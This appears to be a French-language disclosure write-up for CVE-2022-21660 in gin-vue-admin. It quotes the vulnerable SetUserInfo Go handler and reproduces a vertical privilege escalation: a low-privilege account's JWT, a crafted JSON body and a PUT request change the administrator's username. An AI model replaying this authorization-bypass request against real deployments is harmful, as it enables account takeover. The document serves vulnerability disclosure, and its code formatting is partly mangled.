
CVE-2022-21660
Bienvenue à tous les experts ! N'hésitez pas à donner une étoile (star) à ce projet.```http https://github.com/flipped-aurora/gin-vue-admin/

Après avoir terminé l'article, demander un CVE a été un peu compliqué, mais heureusement, il a finalement été obtenu ; les employés de GitHub ont répondu rapidement.
> ps : avant la demande de CVE, la soumission au CNVD avait déjà été faite.

### 2. Mise en place de l'environnement
Selon le tutoriel officiel```bash
git clone https://github.com/flipped-aurora/gin-vue-admin.git
Ensuite, entrez dans le répertoire server.```bash go generate
```bash
go build -o server main.go
Ensuite, il suffit d'exécuter directement le serveur

Ensuite, pour le WEB, entrez dans le répertoire web et saisissez```bash cnpm install || npm install
Ensuite, il suffit d'attendre

Une fois l'installation terminée, la page Web s'ouvrira automatiquement.


Ensuite, initialisez et configurez les informations de la base de données.

Après configuration, cliquez sur Initialiser puis connectez-vous.

### 3. Reproduction des vulnérabilités
### SetUserInfo présente une élévation de privilèges verticale
##### 1. Contournement d'autorisation de l'interface SetUserInfo pour définir les informations personnelles de l'utilisateur
Nous allons directement sur la page de gestion des utilisateurs et créons un rôle utilisateur à faibles privilèges.

On peut voir que les privilèges administrateur ne sont pas attribués ci-dessus. Ensuite, créons un compte et assignons-le à ce groupe de rôles.


L'emplacement de la vulnérabilité se trouve à la ligne 273 du fichier https://github.com/flipped-aurora/gin-vue-admin/blob/master/server/api/v1/system/sys_user.go
```go
// @Tags SysUser
// @Summary 设置用户信息
// @Security ApiKeyAuth
// @accept application/json
// @Produce application/json
// @Param data body system.SysUser true "ID, 用户名, 昵称, 头像链接"
// @Success 200 {string} string "{"success":true,"data":{},"msg":"设置成功"}"
// @Router /user/setUserInfo [put]
func (b *BaseApi) SetUserInfo(c *gin.Context) {
var user system.SysUser
_ = c.ShouldBindJSON(&user)
if err := utils.Verify(user, utils.IdVerify); err != nil {
response.FailWithMessage(err.Error(), c)
return
}
if err, ReqUser := userService.SetUserInfo(user); err != nil {
global.GVA_LOG.Error("设置失败!", zap.Error(err))
response.FailWithMessage("设置失败", c)
} else {
response.OkWithDetailed(gin.H{"userInfo": ReqUser}, "设置成功", c)
}
}
Ici, l'ID transmis n'est pas validé ; l'ID représente l'utilisateur, il suffit de transmettre directement l'ID spécifié pour modifier les informations personnelles de l'utilisateur correspondant.

Tout d'abord, nous utilisons le X-token de l'administrateur pour tester la modification du nom de l'utilisateur dont l'ID est 1 en test1 ; ensuite, nous pouvons voir dans le backend que l'ID de l'administrateur a été modifié en test1.

Ensuite, nous utilisons le Token du compte UzJu_HxSecTeam que nous venons de créer pour le remplacer, et modifions le nom d'utilisateur de l'administrateur en test2.
Tout d'abord, dans les informations personnelles du compte UzJu_HxSecTeam > Modifier le mot de passe, nous modifions le mot de passe comme bon nous semble, puis nous obtenons le Token du compte.

Ce Token appartient au rôle à faibles privilèges ; normalement, un utilisateur à faibles privilèges ne peut pas modifier les informations de l'administrateur.```http x-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiYTM1NTRiYmYtYzQwNS00ZWEwLTkzZjQtMzQ1YTRiNzIxMWYxIiwiSUQiOjMsIlVzZXJuYW1lIjoiVXpKdV9IeFNlY1RlYW0iLCJOaWNrTmFtZSI6IlV6SnVfSHhTZWNUZWFtIiwiQXV0aG9yaXR5SWQiOiIxMjM0IiwiQnVmZmVyVGltZSI6ODY0MDAsImV4cCI6MTY0MTQ1MDk5OCwiaXNzIjoicW1QbHVzIiwibmJmIjoxNjQwODQ1MTk4fQ.0vm9DA7RHOi-ZBN6p-C4RIjJS7Qs9kbXKLNpmc6nyDs
Nous remplaçons le Token dedans et construisons les données Json suivantes```json
{
"id":1,
"username":"test2",
"nickName":"test2",
"headerImg":""
}

Nous remplaçons le Token dans l'interface setUserinfo```http PUT /api/user/setUserInfo HTTP/1.1 Host: localhost:8080 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0 Accept: / Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/json x-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiYTM1NTRiYmYtYzQwNS00ZWEwLTkzZjQtMzQ1YTRiNzIxMWYxIiwiSUQiOjMsIlVzZXJuYW1lIjoiVXpKdV9IeFNlY1RlYW0iLCJOaWNrTmFtZSI6IlV6SnVfSHhTZWNUZWFtIiwiQXV0aG9yaXR5SWQiOiIxMjM0IiwiQnVmZmVyVGltZSI6ODY0MDAsImV4cCI6MTY0MTQ1MDk5OCwiaXNzIjoicW1QbHVzIiwibmJmIjoxNjQwODQ1MTk4fQ.0vm9DA7RHOi-ZBN6p-C4RIjJS7Qs9kbXKLNpmc6nyDs x-user-id: 1 Content-Length: 67 Origin: http://localhost:8080 Connection: close Referer: http://localhost:8080/ Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin